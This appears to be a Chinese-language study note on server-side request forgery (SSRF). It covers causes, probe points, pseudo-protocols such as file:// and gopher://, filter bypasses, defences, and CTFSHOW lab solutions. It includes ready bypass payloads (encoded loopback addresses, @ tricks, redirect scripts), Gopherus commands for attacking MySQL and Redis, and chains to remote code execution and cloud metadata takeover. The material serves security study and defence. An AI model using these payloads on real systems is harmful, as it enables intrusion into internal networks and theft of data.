一、SSRF漏洞原理
1、SSRF(Server-Side Request Forgery:服务器端请求伪造)介绍
让 服务器本身 去访问攻击者指定的 URL
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
(正是因为它是由服务端发起的,所以它能够请求到与它相连、与外网隔离的内部系统)
攻击者真正利用的不是功能,而是 服务器天然比外网更有权限:
- 能访问内网
- 能访问本机
- 能访问管理端口
- 能访问云厂商的 metadata
- 能访问仅限 127.0.0.1 的服务(redis、admin、debugger)
2、成因
web 系统经常需要在后台“请求一个外部资源”,常见场景包括:
- 下载用户提供的图片
- 抓取网页标题
- 转码
- 翻译 URL
- webhook、回调函数
- OAuth、登录跳转
- fastjson、xml 外部实体
- 云厂商 SDK 自动访问 metadata
后端接受了一个用来发请求的 URL(或地址),且没有严格限制。
二、SSRF漏洞挖掘
(一)常见 SSRF 触发点的指纹
- 你上传一个 URL,它返回了内容 → 怀疑 SSRF
- 你输入一个 URL,响应速度变慢 → 后端真的访问了
- 你访问一个不存在的域名,它超时而不是快速返回 → SSRF
- 你访问内网 IP 10.x、172.x、192.168.x,它响应方式改变 → 100% SSRF
- 你输入一个带端口的 URL,响应不同 → 服务端探测端口
- URL 在 POST body 中出现,而不是 query → 很多开发不注意过滤
- URL 在 JSON 中出现 → API 类业务极容易出 SSRF
- 富文本编辑器自动抓取资源 → SSRF “天坑”
(二)黑盒探针:业务功能点
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
URL关键参数
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain
callback
webhook
fetch
proxy
api
interface
req
login_url
redirect
feed
img
pic
avatar
thumbnail
download
meta
push
post_url
webscan
crawl
geturl
safeurl
webshot
render
带 url、link 的是显性 SSRF;
带 fetch、proxy 的是隐性 SSRF;
带 callback、redirect 的是旁门 SSF(重定向 SSRF)。
(三)白盒分析:见代码审计(文件读取,加载,数据操作类的函数)
PHP
file_get_contents()
curl_exec()
fsockopen()
fopen() - 只要传入 URL 就危险
Python
requests.get()
urllib.request.urlopen()
Java
URL.openConnection()
HttpClient.execute()
Apache HTTP 客户端所有请求
Node.js
http.get()
https.get()
request()
axios()
一些业务并没有直接传 URL,但传递了 host、ip、endpoint,也可能可控。
三、SSRF伪协议利用
(一)常用协议
http:// Web常见访问,如http://127.0.0.1
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus
(二)协议利用
1、信息探测
探测内网存活主机
(内网地址段主要包括三个私有IP地址范围:10.0.0.0/8、172.16.0.0/12 和 192.168.0.0/16)
探测端口是否开放 (访问内网某个ip的某个服务端口)
判断服务类型(banner 信息)
2、伪协议读取本地敏感文件
SSRF的伪协议和php伪协议对比

3、访问云厂商 Metadata 一键接管云主机
4、SSRF + Gopher → 攻击内部服务
- Gopher = 任意 TCP 数据包构造协议
- Redis → 写公钥 → SSH 反弹 → 直接 getshell
- FastCGI → 构造 FPM payload → 直接执行 PHP 代码
- MySQL → 发 payload 执行 SQL
- Memcache → 修改缓存
- SMTP → 发邮件
- 内部 API → 绕过认证
SSRF ---> 内网RCE
5、SSRF + 本机服务 → 拿下调试端口
eg. JAVA Debug port (JDWP) 开放在 localhost,Node.js inspector、Python debugpy 都是这样被打穿的
6、SSRF + 端口解析漏洞 → 绕过安全限制
不同语言的 URL parser 行为不一致就能绕。
如:
前端验证 = 正确
后端解析 = 不一样
WAF 解析 = 又不一样
四、SSRF绕过方式
(一)CTF绕过
1、限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@,写两个,以后一个为准
http://www.xxx.com@www.xxyy.com
2、限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
短网址 - URLC.CN短网址,短网址生成,网址缩短,免费提供API接口生成,活码二维码生成,域名拦截检测
(2)采取域名解析 test.zmx.com 绑定为127.0.0.1
(3)采取进制转换 进制转换 - 在线工具
(4)采取3XX重定向
(二)实战绕过
1、DNS rebinding(域名解析绕回内网)动态解析
2、IPv6 绕过
http://[::1]/ //localhost
3、函数差异解析
某些语言允许 127.0.0.1:80#evil.com
浏览器 → 解析到 evil.com
服务器 → 解析 127.0.0.1
4、URL 编码双重绕过
http://127.0.0.1%252F..%252F..%252F
五、SSRF漏洞防御
用户想上传图片 → 你让他把图片上传,而不是让他给 URL
代理层隔离(白名单)
把业务请求外部 URL 的逻辑放到独立服务,权限隔离
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

六、CTFSHOW SSRF 白盒
CTF 绕过
1、无过滤直接获取
url=http://127.0.0.1/flag.php
2-3、IP地址进制绕过
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
还有很多方式
url=http://0/flag.php
url=http://0.0.0.0/flag.php
4、域名解析IP绕过
test.xiaodi8.com -> 127.0.0.1
url=http://test.xiaodi8.com/flag.php
5、长度限制IP绕过
url=http://127.1/flag.php
6、长度限制IP绕过
url=http://0/flag.php
7、利用重定向解析绕过
只能解析外部地址,但是需要获取的是服务器的flag,所以需要重定向
<?php
header("Location:http://127.0.0.1/flag.php");
传参:url=http://zmxupforever.cn/xx.php
8、匹配且不影响写法解析
url=http://ctf.@127.0.0.1/flag.php?show
9-10、利用gopher协议打服务 可以不依赖http,通过其他服务写马
d:Python2.7\python.exe gopherus.py --exploit mysql
d:Python2.7\python.exe gopherus.py --exploit redis
七、无回显SSRF利用
无回显不代表不能用,不能明显用来探针内网信息,只能通过一些时间盲或者其他来测试
八、文件导出功能的SSRF
典型:pdf转换
编辑pdf内容时,插入DNSlog,发现在重新生成pdf时解析了代码
<iframe src=“www.zmxupforever.cn">
如何对待?让服务器访问能控制的资源、让它写日志、让它连接一个可监控端口
1、DNSLog
2、利用 Burp Collaborator(本质是企业级 DNSLog)
3、利用自建 HTTP 服务器记录请求
本地python/nc监听
4、利用 Redis / FastCGI / Gopher 做“副作用”,如果 Redis 被写入文件则存在SSRF
5、利用协议 side-channel:file://、dict://、ftp://
读取本地文件时,如果文件不存在,业务可能报错。
如果文件存在,可能静默成功。
6、利用响应时间,时间差就是信息通道,如访问22端口
7、利用开放端口连接失败方式不同
不同端口的响应耗时、错误码不同。
可以做端口探测。
8、利用外网服务的行为判断 然后看日志
小结

Comments NOTHING